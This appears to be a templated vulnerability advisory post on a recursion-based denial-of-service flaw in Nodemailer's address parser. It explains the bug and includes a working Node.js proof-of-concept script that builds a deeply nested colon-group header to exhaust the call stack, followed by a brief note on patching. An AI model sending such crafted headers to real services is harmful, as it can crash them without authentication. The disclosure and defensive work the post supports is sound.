Listen to this Post
The vulnerability resides in the address parser within `lib/addressparser/index.js` of the Nodemailer library. According to RFC 5322, nested group structures in email addresses are invalid. The parser attempts to flatten such groups when encountered. The flaw occurs at the recursive call `addressparser(data.group.join(‘,’))` on line 90. When processing a malicious header like g0: g1: g2: ... gN: [email protected];, the `data.group` array contains colon tokens instead of commas. This causes the parser to recursively invoke itself for each colon in the pattern addressparser → _handleAddress → addressparser. With no recursion depth limit, a sufficiently long chain of colons triggers infinite recursion, exhausting the call stack. The Node.js process then throws “Maximum call stack size exceeded” and terminates immediately. This provides a remote Denial-of-Service vector requiring no authentication, as a single crafted email header can crash the service.
Platform: Nodemailer
Version: Affected versions
Vulnerability: Denial of Service
Severity: Critical
date: Not specified
Prediction: Patch TBA
What Undercode Say:
Analytics
Save PoC as exploit.js
cat > exploit.js << 'EOF'
const nodemailer = require('nodemailer');
function buildDeepGroup(depth) {
let parts = [];
for (let i = 0; i < depth; i++) {
parts.push(<code>g${i}:</code>);
}
return parts.join(' ') + ' [email protected];';
}
const DEPTH = 3000;
const toHeader = buildDeepGroup(DEPTH);
const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
newline: 'unix'
});
transporter.sendMail({
from: '[email protected]',
to: toHeader,
subject: 'test',
text: 'test'
}, (err, info) => {
if (err) console.error('error:', err);
});
EOF
node exploit.js
how Exploit:
Craft malicious email header with many colons.
Protection from this CVE
Update Nodemailer library.
Impact:
Immediate process termination.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
